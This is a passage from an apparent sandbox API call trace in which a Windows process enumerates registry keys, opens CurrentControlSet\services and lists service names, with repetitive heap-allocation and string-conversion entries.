(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.957] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.957] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.957] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0258.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.958] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0258.958] RegCloseKey (hKey=0x148) returned 0x0 [0258.958] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.958] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.958] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0258.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0258.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.959] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0258.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0258.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.959] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0258.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0258.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.959] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0258.959] RegCloseKey (hKey=0x14c) returned 0x0 [0258.959] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.960] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.960] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.960] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0258.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.961] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.961] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.961] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0258.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.961] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.962] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.962] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.962] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0258.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.963] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0258.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.963] RtlFreeHeap 